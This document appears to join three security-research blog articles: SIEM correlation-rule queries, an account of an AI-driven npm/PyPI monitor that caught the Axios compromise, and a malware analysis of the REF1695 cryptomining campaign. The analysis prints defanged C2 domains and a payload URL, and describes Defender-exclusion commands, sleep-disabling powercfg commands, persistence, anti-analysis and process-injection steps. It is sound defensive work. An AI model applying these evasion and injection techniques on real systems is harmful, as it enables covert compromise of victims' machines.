| eval day = DATE_TRUNC(24 hours, @timestamp)
| where event.code in ("malicious_file", "memory_signature",  "shellcode_thread", "behavior") and 
 agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
| stats Esql.alerts_count = COUNT(*),
        Esql.event_code_distinct_count = count_distinct(event.code),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, day
| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)

To further raise suspicion, we can also correlate Elastic Defend alerts that belong to the same process tree:

from logs-endpoint.alerts-*
| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") and process.Ext.ancestry is not null

// aggregate alerts by process.Ext.ancestry and agent.id
| stats Esql.alerts_count = COUNT(*),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.event_code_distinct_count = COUNT_DISTINCT(event.code),
        Esql.process_id_distinct_count = COUNT_DISTINCT(process.entity_id),
        Esql.message_values = VALUES(message),
   ... by process.Ext.ancestry, agent.id

// filter for at least 3 unique process IDs and 2 or more alert types or rule names.
| where Esql.process_id_distinct_count >= 3 and (Esql.rule_name_distinct_count >= 2 or Esql.event_code_distinct_count >= 2)

// keep unique values
| stats Esql.alert_names = values(Esql.message_values),
        Esql.alerts_process_cmdline_values = VALUES(Esql.process_command_line_values),
... by agent.id
| keep Esql.*, agent.id

Example of matches:

To complement our coverage, we will need to also look for rare atomic ones. The following ES|QL is designed to run on a 10-minute schedule with a 5 or 7 day lookback window. The lookback aggregates all alerts by rule name over the full window to compute first-seen time. The final filter (Esql.recent <= 10) ensures only rules whose first-seen time falls within with current 10-minute execution window are surfaced, effectively detecting the moment a rule fires for the first time in the lookback period. This surfaces both rare false positives and stealthy behaviors that might otherwise be lost in volume:

from logs-endpoint.alerts-*
| WHERE event.code == "behavior" and rule.name is not null
| STATS Esql.alerts_count = count(*),
        Esql.first_time_seen = MIN(@timestamp),
        Esql.last_time_seen = MAX(@timestamp),
        Esql.agents_distinct_count = COUNT_DISTINCT(agent.id),
        Esql.process_executable = VALUES(process.executable),
        Esql.process_parent_executable = VALUES(process.parent.executable),
        Esql.process_command_line = VALUES(process.command_line),
        Esql.process_hash_sha256 = VALUES(process.hash.sha256),
        Esql.host_id_values = VALUES(host.id),
        Esql.user_name = VALUES(user.name) by rule.name
// first time seen in the last 5 days - defined in the rule schedule Additional look-back time
| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now())
// first time seen is within 10m of the rule execution time
| where Esql.recent <= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen)
// Move single values to their corresponding ECS fields for alerts exclusion
| eval host.id = mv_min(Esql.host_id_values)
| keep host.id, rule.name, Esql.*

The same logic can be applied to an External Alert from other third party EDRs:

Endpoint with Network Alerts Correlation

A powerful detection approach is correlating endpoint alerts with network alerts. This helps answer the key question:

Which process triggered this network alert?

Network alerts alone often lack process context, such as which user or executable initiated the activity. By combining network alerts with endpoint telemetry (EDR data), you can enrich alerts with:

• Process name and hash
• Command line and parent process
• User and device information

The following query correlates any Elastic Defend alert with suspicious events from network security devices such as Palo Alto Networks (PANW) and Fortinet FortiGate. The join key is the IP address: for network alerts, this is source.ip, for endpoint alerts, it is host.ip. The query normalizes these into a single field using COALESCE, enabling correlation across data sources that use different field names for the same entity. This may indicate that this host is compromised and triggering multi-datasource alerts.

FROM logs-* metadata _id
| WHERE 
 (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
 (event.dataset == "panw.panos" and event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", ...)) or
 (event.dataset == "fortinet_fortigate.log" and (...)) or
 (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", ...))
| eval 
      fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
| where Esql.source_ip is not null
| stats Esql.alerts_count = COUNT(*),
        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
        Esql.message_values_distinct_count = COUNT_DISTINCT(message),
        ... by Esql.source_ip
| where Esql.event_module_distinct_count >= 2 AND Esql.message_values_distinct_count >= 2
| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",")
| where concat_module_values like "*endpoint*"

Example of matches correlating Elastic Defend and Fortigate alerts where the source.ip of the FortiGate alert is equal to the host.ip of the Elastic Defend endpoint alert :

The following EQL query correlates Suricata alerts with Elastic Defend network events to provide context about the source process and host:

sequence by source.port, source.ip, destination.ip with maxspan=5s
// Suricata severithy 3 corresponds to information alerts, which are excluded to reduce noise
[network where event.dataset == "suricata.eve" and event.kind == "alert" and  event.severity != 3 and source.ip != null and destination.ip != null]
[network where event.module == "endpoint" and event.action in  ("disconnect_received", "connection_attempted")]

Example of matches confirming the Suricata alert and linking it to the target web server process nginx from Elastic Defend events confirming the web-exploitation attempt:

Endpoint Security with Observability

Correlating observability telemetry with security alerts is a powerful detection strategy.

The XZ Utils backdoor incident demonstrated that security-relevant anomalies may first surface as performance regressions rather than traditional security alerts. In that case, unusual behavior in the SSH daemon led to deeper investigation and eventual discovery of malicious code.

This highlights an important principle: operational anomalies can be early indicators of compromise.

With the Elastic Agent, system metrics such as CPU and memory utilization can be collected alongside security telemetry. By correlating abnormal resource spikes with SIEM alerts either by process or by host we can increase detection confidence and surface high-risk activity earlier.

For example, an ES|QL correlation rule can identify a process exhibiting sustained 70% CPU utilization that is also the source of a memory signature alert for a cryptominer from Elastic Defend. Individually, each signal may be low or medium severity. Correlated together, they represent high-confidence malicious activity.

We developed over 30 Higher-Order detections covering various types of relationships. While we can’t cover all of them here, the links below provide enough context to adapt these rules to your environment:

Endpoint Alerts:
Multiple Elastic Defend Alerts by Agent
Multiple Elastic Defend Alerts from a Single Process Tree
Multiple Rare Elastic Defend Behavior Rules by Host
Newly Observed Elastic Defend Behavior Alert
Multiple External EDR Alerts by Host

Endpoint and Network:
Newly Observed Palo Alto Network Alert
Newly Observed High Severity Suricata Alert
FortiGate SOCKS Traffic from an Unusual Process
PANW and Elastic Defend - Command and Control Correlation
Elastic Defend and Network Security Alerts Correlation
Suricata and Elastic Defend Network Correlation

Generic by MITRE ATT&CK:
Alerts in Different ATT&CK Tactics by Host
Multiple Alerts in Same ATT&CK Tactic by Host

Generic multi-integrations correlation:
Alerts From Multiple Integrations by Source Address
Alerts From Multiple Integrations by Destination Address
Alerts From Multiple Integrations by User Name
Newly Observed High Severity Detection Alert

Lateral movement correlation:
Suspected Lateral Movement from Compromised Host
Lateral Movement Alerts from a Newly Observed Source Address
Lateral Movement Alerts from a Newly Observed User

Observability and security correlation:
Detection Alert on a Process Exhibiting CPU Spike
Multiple Alerts on a Host Exhibiting CPU Spike
Newly Observed Process Exhibiting High CPU Usage

Machine Learning correlation:
Multiple Machine Learning Alerts by Influencer Field

Other correlation ideas:
Multiple Vulnerabilities by Asset via Wiz
Elastic Defend and Email Alerts Correlation
Suspicious Kerberos Authentication Ticket Request
Multiple Cloud Secrets Accessed by Source Address

These examples illustrate how correlating alerts across endpoints, network, and observability can enrich context, accelerate investigations, and improve detection confidence. We are actively expanding coverage in this area to support additional correlation scenarios.

You can enable them by filtering for the tag value Rule Type: Higher-Order Rule in the rules management page:

Over a 15-day period, alert counts remained within acceptable volume (~30 alerts/day). Targeted tuning of initial outliers is expected to reduce them to ~20 alerts/day and materially improve overall signal quality.

Considerations and Trade-offs

Higher-Order Rules introduce potential scheduling latency. Since they query alert indices, there is an inherent delay between when base alerts fire and when correlations surface. Rule scheduling intervals and loopback windows should be tuned to balance timeliness against performance cost. Additionally, HOR quality depends directly on the quality of the base detections. A noisy atomic rule will cascade false positives into every correlation that references it. We recommend tuning base rules aggressively before enabling dependent Higher-Order Rules. Finally, ESQL queries over broad index patterns (e.g. logs-*) can be expensive at scale. In high-volume environments, scoping index patterns to specific datasets or using dataviews can significantly reduce query cost.

Conclusion

High-Order rules are essential for prioritizing alert triage and managing alert volumes for automation and AI-driven analysis**.** When combined with Entity Risk Scoring, Higher-Order Rules can feed directly into host and user risk profiles, creating a quantitative prioritization layer that further reduces manual triage burden. In our production tests, the majority of these detections produced a medium to low alert volume, making them practical for real-world use. While a small number of noisy rules or false positives may initially surface, excluding these at the atomic rule level quickly leaves a robust set of high-value correlations.

To maximize their effectiveness, two operational practices are critical. First, ensure that input alerts use severity levels that accurately reflect both noise and real-world impact, cleaning and normalizing severity is foundational to meaningful correlation. Second, start small and expand deliberately: avoid trying to correlate every possible alert signal. Exclude inherently noisy tactics (such as discovery), deprioritize low-severity signals, and deprecate rules that disproportionately influence correlation outcomes.

Applied correctly, High-Order rules streamline investigations, improve detection accuracy, and significantly increase the efficiency and trustworthiness of modern security operations.

Last Monday night I was working late and a Slack alert came in from a monitoring tool I had built three days earlier. Axios compromised; one of the most popular npm packages in the world.

My heart started racing, I knew every second mattered to respond and limit the damage. But honestly it was so crazy that I thought it must be a false positive. I checked and rechecked everything a few times even though it seemed very obviously malicious.

It wasn't a false positive. It was one of the largest supply chain compromises ever on npm, with presumed attribution to DPRK state actors. We caught it with a proof of concept I hacked together on a Friday afternoon, running on my laptop, powered by AI reading diffs.

I want to share the whole story. How we got here, what I built, and why I think sharing it openly makes everyone a little safer.

I've been worried about supply chain for a while

Some recent supply chain incidents have genuinely had me up at night. Supply chain compromise is a hard problem. At Elastic we have so many developers, and our security customers are trusting us to protect them. It has been clear that the status quo is broken, and we need some new technology or procedures to help. I had some ideas around a more trusted, AI-vetted ecosystem, building on app control principles while limiting cost and friction.

But the Trivy compromise was really where I took notice. On March 19th, a group called TeamPCP compromised the aquasecurity/trivy-action GitHub Action (the one for the popular Trivy security scanner, yes, a security tool). They injected a credential stealer that harvested secrets from CI/CD pipelines. A massive amount of credentials were stolen.

That cascaded fast. On March 24th, LiteLLM got hit. TeamPCP had stolen LiteLLM's PyPI publishing credentials through the poisoned Trivy pipeline, and used them to push malicious versions that were aggressive credential stealers. SSH keys, cloud creds, API keys, wallet data, everything.

LiteLLM is a package I had used myself. So you could say at that point I was fully "up at night."

I knew that with all the credentials leaked from the Trivy breach, there was definitely going to be more. We needed to do something to stay ahead of it. Both for our customers and to protect Elastic.

Friday, after the red-eye

I had just flown back from RSAC 2026 in San Francisco. Red-eye flight Thursday night. If you've done a red-eye after four days of conference, you know the state I was in. However, I was excited as ever for a new project, so I sat down and hammered out v0.0.1.

The idea: monitor changes as they get pushed to package repos. Run a diff to see what changed. Use AI/LLM to determine if the changes are malicious. That's basically it.

The pipeline looks like:

1. Poll PyPI's changelog API and npm's CouchDB _changes feed for new releases
2. Filter against a watchlist of the top 15,000 packages by download count
3. Download the old and new versions directly from the registry (no pip install, no npm install, no code execution)
4. Diff them into a markdown report
5. Send the diff to an LLM: "is this malicious?"
6. If yes, alert to Slack

I wanted to focus mainly on top packages since that's most likely where attackers would go anyway, and it would be much less costly in terms of tokens and compute. It was completely manageable to run on my laptop.

Why Cursor

There are a lot of agent harnesses out there. I've written my own for projects like AI malware reverse engineering. But I was very short on time, so I chose to harness up Cursor since it's one of my main dev tools. The Agent CLI lets you invoke it programmatically: pass a workspace, an instruction, and a model. I run it in ask mode (read-only) so it can only read the diff, never modify anything. The whole analysis step is a single subprocess call.

The prompt is simple. I tell it what to look for (obfuscated code, base64, exec/eval, unexpected network calls, steganography, persistence mechanisms, lifecycle script abuse) and ask it to respond with Verdict: malicious or Verdict: benign. Parse the verdict, act on it.

On model selection

I normally use Opus 4.6 or GPT 5.4 for most things. Opus especially for cybersecurity-focused tasks. But I wanted to keep costs down for something that needs to analyze dozens of releases per hour.

There have been some really good blog posts from the Cursor team lately, one on fast regex search for agent tools and another on their real-time RL approach where they use actual production inference tokens as training signals and deploy improved checkpoints roughly every five hours. Genuinely impressive engineering.

So I wanted to give Composer 2 a shot. I used fast mode, which is truly fast. Perfect for a real-time use case. Low cost, fast, and effective (in my testing).

Testing on Telnyx

You have to test these things to know they'll actually work. Usually that means tweaking prompts a bunch.

I got lucky (or unlucky) with timing. On the same Friday I was building this, the telnyx PyPI package got compromised by TeamPCP. They injected 74 lines of malicious code into _client.py: payloads hidden inside WAV audio files (steganography), base64 obfuscation, a Windows persistence implant disguised as msbuild.exe, and exfiltration to a hardcoded C2.

I used the diff between the legitimate and malicious telnyx package to build out the initial prompt. The model was very good at identifying malicious changes like this. I also wanted to know immediately when a compromise was detected, so I added Slack alerting.

Monday night

I let it run over the weekend. It churned through releases, everything coming back benign.

I never got a single false positive, which is honestly strange if you've ever done detection work in cybersecurity. We're usually drowning in FPs. I intentionally instructed the LLM to only alert on "high confidence" supply chain compromises, as they are generally trigger-happy out of the box. Still catching the Telnyx test case, with no FPs. Could be overfitting with such a low sample size, but no time to build something more robust.

Then Monday night, working late, the Slack alert came in.

🚨 Supply Chain Alert: axios 0.30.4
Verdict: MALICIOUS
npm: https://www.npmjs.com/package/axios/v/0.30.4

Did it really just find one of the biggest supply chain compromises in recent memory?

I checked the analysis. Rechecked it. Checked it again. The attackers had compromised a maintainer's npm account, changed the email to a ProtonMail account they controlled, and published two malicious versions (1.14.1 and 0.30.4). They didn't inject code directly into Axios. Instead they added a phantom dependency called plain-crypto-js that ran a postinstall hook deploying cross-platform malware. It was obviously malicious.

The response

I reached out immediately to our infosec team and research team at Elastic to get them spun up. I knew every second mattered. It turns out that when I contacted them, they had already received Elastic Defend alerts on a host that had installed the malicious package and were actively responding. But at that point nobody had realized the extent of the issue or had a root cause understanding of how the machine became infected. The monitoring tool provided that missing context.

I tried sending an email to security@npmjs and got a bounce back. Tried submitting to their security portal and got an error. I tweeted out in desperation to get a hold of a human. I also quickly opened a security issue on the axios repo itself.

Later, I saw a tweet from another researcher who had observed the compromise, and I realized I was handling this more as a vulnerability than a supply chain incident. With a vulnerability you coordinate quietly. With an active compromise that is installing malware on people's machines right now, going wide and open is the right call. So I immediately shared all the details I had compiled to X.

We even started getting alerts from our telemetry showing impacted orgs in the wild. The thing was actively running.

Fortunately, the Axios team jumped on it and pulled the packages pretty quickly. Also, the attacker's C2 server was getting so many requests that it was falling over. It could have been a lot worse.

Our team at Elastic Security Labs published full technical write-ups on the compromise. The first covers the end-to-end attack chain, the cross-platform malware, and the C2 protocol: Inside the Axios supply chain compromise - one RAT to rule them all. The second covers hunting and detection rules across Linux, Windows, and macOS: Elastic releases detections for the Axios supply chain compromise.

Where we go from here

The state of things right now is not great and we need to do better as a whole software ecosystem, let alone the security industry.

In two weeks in March:

• Trivy (a security scanner) was compromised to steal CI/CD secrets
• LiteLLM was compromised using those stolen secrets
• Telnyx was compromised in the same campaign
• Axios, one of the most depended-upon packages in npm, was compromised by a suspected DPRK actor
• and more

Package registries are critical infrastructure. The teams running PyPI and npm are doing great work, but the threat has moved past what current trust models can handle. We need better automated monitoring of package changes. Not just signature scanning but actually understanding what code does. LLMs are genuinely good at this, as this project shows. And we need credential rotation after breaches to happen faster. The Trivy to Litellm to Telnyx cascade happened because stolen creds weren't rotated quickly enough.

One practical thing you can do right now: don't pull in package updates immediately. Add a soak time. Let new versions sit for a period before your builds pick them up. We do this with our CI/CD systems at Elastic in response to shai-hulud. It won't stop everything, but it gives the community time to catch compromises before they hit your CI/CD pipelines and developer machines. The good news is the many package managers have added native support for this. For example, to enforce a 7-day delay:

npm config set min-release-age 7
pnpm config set minimum-release-age 10080
yarn config set npmMinimumReleaseAge 10080
uv --exclude-newer "7 days ago"

We're open sourcing this

We're releasing the tool: supply-chain-monitor

I want to be upfront. It's a proof of concept. I built it in an afternoon on no sleep. I don't expect anyone to run it at a production level. It requires a Cursor subscription for the LLM analysis, it processes releases sequentially, and the watchlists are static.

But the approach works. Diffing package releases in real-time and using AI to classify the changes caught a supply chain attack on one of the most popular packages in npm.

I'm sharing this because it's best for the community to learn from our experiences. If someone takes this idea and builds something better, great. If a package registry team builds it into their pipeline, even better. If it means someone else has a big save next time, this was worth it.

How it works (for the curious)

Monitoring: Two threads poll PyPI (via changelog_since_serial() XML-RPC) and npm (via CouchDB _changes feed). New releases matching the top-N watchlist get queued. State persists to last_serial.yaml so it picks up where it left off.

Diffing: Old and new versions downloaded directly from registry APIs. No pip/npm install, no code execution. Archives extracted, files hashed, unified diff report generated in markdown.

Analysis: Diff report goes to Cursor Agent CLI in read-only mode. Prompt asks it to look for supply chain indicators. Output parsed for the verdict.

Alerting: Malicious verdict fires a Slack message with the package name, rank, registry link, and analysis summary.

AI in security, beyond this project

Supply chain security is a big issue, but we aren’t powerless. AI gives us new tools to defend at scale at machine speed. This project is one example of using AI to help with a security problem, but we've been doing a lot of interesting work with AI across Elastic Security more broadly. One thing I'd highlight: our team recently published a post on using Attack Discovery, Workflows, and Agent Builder to automatically detect and confirm APT-level attacks. This shows the power of the Elastic Platform, delivering agentic security to meaningfully improve the efficiency and efficacy of your SOC in a time when we are collectively drowning in attacks.

The supply-chain-monitor project is available at github.com/elastic/supply-chain-monitor.

Thanks to the Elastic Infosec team for the rapid incident response, the axios maintainers for the quick takedown, and the security community for the collective effort that limited the blast radius.

Elastic Security Labs has been tracking a financially motivated operation, designated REF1695, that has been active since at least late 2023. The operator deploys a combination of RATs, cryptominers, and custom XMRig loaders through fake installer packages. Across all observed campaigns, the infection chains share a consistent packing technique, overlapping C2 infrastructure, and common social engineering patterns, linking them to a single operator.

Beyond cryptomining, the threat actor monetizes infections through CPA (Cost Per Action) fraud, directing victims to content locker pages under the guise of software registration. In this report, we trace the operation's evolution across multiple campaign builds, analyze the C2 communication protocols, document a previously unreported .NET implant (CNB Bot), and track the operator's financial returns via public Monero mining pool dashboards.

Key takeaways

• Financially motivated campaigns have been active since late 2023, deploying various RATs and cryptominers through fake installer packages.
• Operator monetizes infections through both cryptomining and CPABuild fraud.
• Stages use a consistent Themida/WinLicense + .NET Reactor packing combination
• CNB Bot is a previously undocumented .NET implant with RSA-2048 signed task authentication
• A custom XMRig loader evades detection by killing the miner whenever analysis tools are running and deploys WinRing0x64.sys
• Over 27.88 XMR paid out across four tracked wallets, with active workers at the time of writing
• We leveraged a Claude-driven agentic pipeline to automate the extraction of payload stages and implant configurations

Campaign 1 (CNB Bot)

The most recent campaign involves dropping CNB Bot, using an ISO file as the infection vector. The ISO image contains 2 files: a single-stage .NET Reactor-protected loader further packed with Themida/WinLicense 3.x, and a ReadMe.txt. Associated ISO samples:

• 460203070b5a928390b126fcd52c15ed3a668b77536faa6f0a0282cf1c157162
• b8b7aecce2a4d00f209b1e4d30128ba6ef0f83bbdc05127f6f8ba97e7d6df291
• 9977b9185472c7d4be22c20f93bc401dd74bb47223957015a3261994d54c59fc
• 9fa23382820b1e781f3e05e9452176a72529395643f09080777fab7b9c6b1f5c
• 27db41f654b53e41a4e1621a83f2478fa46b1bbffc1923e5070440a7d410b8d3

The ReadMe.txt serves as a social engineering lure, framing the unsigned binary as the product of a small non-profit team that cannot afford EV code-signing, then provides explicit instructions to bypass SmartScreen via "More Info" → "Run Anyway.".

Using the open-source Themida/Winlicense unpacker project, Unlicense, we automatically extracted the .NET Reactor-protected loader and then passed it through NETReactorSlayer for deobfuscation. The majority of campaigns were observed to use this combination of protection in both the initial and subsequent stages.

The loader first invokes PowerShell with -WindowStyle Hidden, to register broad Microsoft Defender exclusions via Add-MpPreference -ExclusionPath and Add-MpPreference -ExclusionProcess, covering the loader itself, staging directories (%TEMP%, %LocalAppData%, %AppData%) and a set of LOLBin process names the malware later utilizes.

It then extracts an embedded .NET assembly resource and writes it to disk at %TEMP%\MLPCInstallHelper.exe (filename varies by build), then executes it via PowerShell. This embedded resource is a .NET Reactor-protected CNB Bot instance, discussed in detail in the Code Analysis - CNB Bot section below.

Since no legitimate software is installed at any point, the loader presents a fake error dialog to the user, attributing the installation failure to unmet system requirements.

Campaign 2 (PureRAT)

Pivoting on the ReadMe.txt lure content, we discovered a campaign dropping PureRAT v3.0.1. This campaign uses a very similar initial-stage loader as campaign 1 and introduces a second-stage loader.

Example ISO samples employing this chain:

• 7bb0e91558244bcc79b6d7a4fe9d9882f11d3a99b70e1527aac979e27165f1d7
• c6c4a9725653b585a9d65fc90698d4610579b289bcfb2539f7a5f7e64e69f2e4
• a3f84aa1d15fd33506157c61368fd602d0b81f69aff6c69249bf833d217308bb
• 82c03866670b70047209c39153615512f7253f125a252fe3dcd828c6598fdf86
• 542d2267b40c160b693646bc852df34cc508281c4f6ed2693b98147dae293678

We will be using the first sample from this list as an example for our analysis.

The initial-stage loader applies Microsoft Defender exclusions to the same directory set (%TEMP%, loader path, %LocalAppData%, …), but process exclusions are limited to the loader executable only. The Stage 2 payload is extracted from the embedded resource to %TEMP%\<...>InstallHelper.exe and launched via hidden PowerShell Start-Process. Stage 2 is protected with the same Themida + .NET Reactor packing technique.

Stage 2 registers only process-level Microsoft Defender exclusions.

The loader then extracts four embedded resources into the install directory at %SystemDrive%\Users\%UserName%\AppData\Local\SVCData\Config, dropping 3 unused, benign DLLs and a malicious svchost.exe binary, which is the 3rd stage. Stage 3 is launched through PowerShell, and a scheduled task named SVCConfig is registered via schtasks.exe with an ONLOGON trigger and HIGHEST privilege.

Following payload launch, Stage 2 writes a temporary .bat file to %TEMP% with a polling loop that forcefully deletes the installer binary until successful, then deletes the batch file itself.

Stage 3 is a Themida + .NET Reactor-protected, in-memory PE loader, which is also the beginning of the PureRAT component. The encrypted next-stage module is stored as a .NET resource and decrypted via Triple DES (3DES) in CBC mode using an embedded key and IV. The decrypted output is a GZip-compressed PE: the first 4 bytes encode the decompressed size as a little-endian integer, followed by the GZip stream.

The PureRAT v3.0.1 configuration is decoded by base64-decoding an embedded string and deserializing the result as a Protobuf message:

• 23-01-26 (build / campaign date)
• windirautoupdates[.]top (C2 #1)
• winautordr.itemdb[.]com (C2 #2)
• winautordr.ydns[.]eu (C2 #3)
• winautordr.kozow[.]com (C2 #4)
• Aesthetics135 (mutex and C2 comms key)

The C2 communication protocol uses key derivation function - PBKDF2-SHA1("Aesthetics135", embedded_salt=010217EA2530863FF804, iter=5000) to derive 96 bytes, split into an AES-256-CBC key and an HMAC-SHA256 key. Incoming messages are authenticated by verifying the HMAC over [IV | ciphertext] stored in the first 32 bytes; the IV is then read from byte offset (32- 48) and used to decrypt the remaining ciphertext, yielding a Protobuf-encoded command message.

By decrypting traffic captured in VirusTotal sandboxes, we observed that the C2 server at windirautoupdates[.]top was automatically issuing a download-and-execute task directing the implant to fetch an XMR mining payload from https://github[.]com/lebnabar198/Hgh5gM99fe3dG/raw/refs/heads/main/MnrsInstllr_240126[.]exe.

Campaign 3 (PureRAT, PureMiner, XMRig loader)

The third campaign variant shares the same initial-stage loader design as Campaigns 1 and 2. Its Stage 2 resembles Campaign 2 but differs by dropping multiple embedded payloads from the resource section, including PureRAT, a custom XMRig loader, and PureMiner.

Example ISO sample:

• f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049.

To keep the machine awake and maximize mining uptime, the loader disables sleep and hibernation via Windows power management commands:

• powercfg /change standby-timeout-ac 0
• powercfg /change standby-timeout-dc 0
• powercfg /change hibernate-timeout-ac 0
• powercfg /change hibernate-timeout-dc 0

The PureRAT configuration matches Campaign 2, differing only in the build/campaign ID: 25-11-25.

The PE loader component of PureMiner is similar to PureRAT, and the decrypted module is also obfuscated via .NET Reactor. Since the configuration is Protobuf-serialized, hooking ProtoBuf.Serializer::Deserialize allows inspection of the configuration data:

• 25-11-25 (build / campaign date)
• wndlogon.hopto[.]org (C2 #1)
• wndlogon.itemdb[.]com (C2 #2)
• wndlogon.ydns[.]eu (C2 #3)
• wndlogon.kozow[.]com (C2 #4)
• 4c271ad41ea2f6a44ce8d0 (mutex and C2 comms key)

Additional behavioral indicators include the dynamic loading of AMD Display Library binaries (atiadlxx.dll/atiadlxy.dll) and the NVIDIA API library (nvapi64.dll), consistent with GPU hardware profiling techniques employed by PureMiner.

Custom .NET-Based Loader for XMRig

The following findings cover the custom XMRig loader deployed during this campaign. Analyzed samples:

• 0176ffaf278b9281aa207c59b858c8c0b6e38fdb13141f7ed391c9f8b2dc7630
• 9409f9c398645ddac096e3331d2782705b62e388a8ecb1c4e9d527616f0c6a9e
• f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049

The Entry Point and Setup

Execution begins in the Start() method. The loader first calls FetchRemoteConfig(), which reaches out to a hardcoded URL (https://autoupdatewinsystem[.]top/MyMNRconfigs/0226.txt). The response is AES-encrypted JSON, which the loader decrypts using a hardcoded key (AsyncPrivateInputx64) and parses to extract the pool, wallet, and mining arguments. If the remote server is unreachable or decryption fails, it falls back to a hardcoded ztbpVbABSx1jDIKnWGbx1d_0 configuration to ensure mining can still occur.

Resource Extraction

Simultaneously, an asynchronous task triggers ExtractResources(). The loader checks the %TEMP% directory for two files: procsrv.exe (the renamed XMRig payload) and WinRing0x64.sys (a driver used by XMRig for direct hardware access). If either is absent, the loader unpacks them from its own assembly manifest.

Evasion Loop

After a 3-second sleep, the loader calls StartEvasionTimer(), initializing a timer that ticks every 1,000 milliseconds. On each tick, IsAnalysisToolRunning() compares all running process names against a hardcoded list of 35 security and monitoring tools (Taskmgr, ProcessHacker, Wireshark, Procmon, etc.).

If any analysis tool is detected, the loader immediately calls KillMinerProcess(), terminating procsrv.exe, effectively dropping the CPU usage back to normal.

If no analysis tool is detected, the loader calls CheckAndRunMiner(). If the miner is not currently running, it reconstructs the command-line arguments (using the remote or fallback config) and quietly launches the miner as a hidden background process via LaunchMiner().

This creates a "hide and seek" scenario for the victim. Whenever they try to investigate why their PC is slow, the malware shuts down the miner.

WinRing0x64.sys and Ring 0 Access

The loader also drops and loads WinRing0x64.sys, a legitimate open-source driver frequently abused by cryptominers. The driver provides direct Ring 0 (kernel-level) hardware access, which XMRig uses to apply its Model Specific Register (MSR) modification, reconfiguring CPU prefetcher and L3 cache behavior to significantly boost RandomX (Monero) hash rates.

Campaign 4 - Umnr_ (SilentCryptoMiner)

From the autoupdatewinsystem[.]top domain, we identified another GitHub account https://github[.]com/ugurlutaha6116 hosting another loader variant whose executable name is prefixed with Umnr_. This loader is a Themida-packed SilentCryptoMiner loader that installs persistently on the victim machine, injects a watchdog payload into conhost.exe, and a miner payload into explorer.exe, mining ETH or XMR depending on the build configuration.

SilentCryptoMiner is a closed-source Win32 64-bit malware released for free on GitHub. The samples we analyzed are older versions than the latest release:

• 1f7441d72eff2e9403be1d9ce0bb07792793b2cb963f2601ecfdf8c91cd9af73
• 468441d32f62520020d57ff1f24bb08af1bc10e9b4d4da1b937450f44e80a9be
• 4e6b8fdd819293ca3fe8f8add6937bf6531a936955d9ac974a6b231823c7330e
• 6492e50e79b979254314988228a513d5acbdaa950346414955dc052ae77d2988
• ce90cb3a9bfb8a276cb50462be932e063ed408af8c5591dd2c50f1c6d18c394c

Direct Syscalls

To evade detection, SilentCryptoMiner uses direct syscalls instead of NTDLL functions. To do this, it parses NTDLL exports to locate the target function by a hash of its name, extracts the syscall number, and manually executes the syscall instruction sequence.

Disable Sleep and Hibernate

To ensure it can use the host machine for as long as possible, SilentCryptoMiner disables Windows sleep and hibernation by executing a shell command.

Install Persistence

After copying itself to its installation folder (in this case, configured to masquerade as legitimate software named “Appdata/Local/OptimizeMS/optims.exe”), SilentCryptoMiner proceeds to establish persistence. If the process is running with administrator privileges, it creates a scheduled task configured via an XML file.

The XML file is dropped onto the disk in the AppData/Local/Temp folder and contains the task configuration. One interesting setting is AllowHardTerminate = False, which prevents the task from being forcibly terminated via schtasks.

If the process lacks administrator rights, it instead adds a Run key to the registry.

After initial installation, the process terminates. On subsequent execution by the persistence mechanism, it verifies that it is running from its installation directory before proceeding to the process injection phase.

Inject watchdog and miner payloads

In the samples we analyzed, the builds contain four payloads:

• A Winring0.sys driver
• A watchdog process
• A Monero miner
• An Ethereum miner

We know that the malware can contain multiple miners; however, in our tests, we only observed the Monero miner injected into a process. In the code, only one of the two miners is injected, which we assume depends on the configuration.

SilentCryptoMiner initiates injection by creating a new suspended process with a spoofed parent process. It obtains a handle to explorer.exe using NtQuerySystemInformation and NtOpenProcess, then configures a PS_ATTRIBUTE_LIST structure with the handle for parent spoofing and passes it to NtCreateUserProcess.

The payload is written to disk via NtCreateFile and NtWriteFile, then mapped into the target process's memory space through NtCreateSection and NtMapViewOfSection. Execution flow is hijacked by modifying the suspended process's entry point (in the RCX register) to point to the payload's image base using NtGetContextThread and NtSetContextThread. The process's PEB (in RDX register) image base is also set to the payload's address using NtWriteVirtualMemory. Finally, the process is resumed with NtResumeThread.

The payload data is decrypted from a hardcoded blob in the binary using a simple XOR cipher with a hardcoded key. After injection, the blob is re-encrypted in memory to reduce forensic traces.

In the analyzed samples, SilentCryptoMiner utilizes two distinct processes for payload injection: the watchdog component is injected into conhost.exe, while the miner payload targets explorer.exe. The WinRing0.sys driver is also written to disk, then loaded and used by the miner. This is likely to optimize the CPU for mining operations.

Watchdog and Miner Processes

The watchdog is responsible for monitoring the loader file in its persistence folder: it rewrites the file to disk if it is deleted and reinstalls the persistence mechanism if the scheduled task or registry key is deleted.

The miner downloads its configuration from (/UWP1)?/*CPU.txt endpoints and communicates with its C2 via [UWP1|UnamWebPanel7]/api/endpoint.php API, depending on the version.

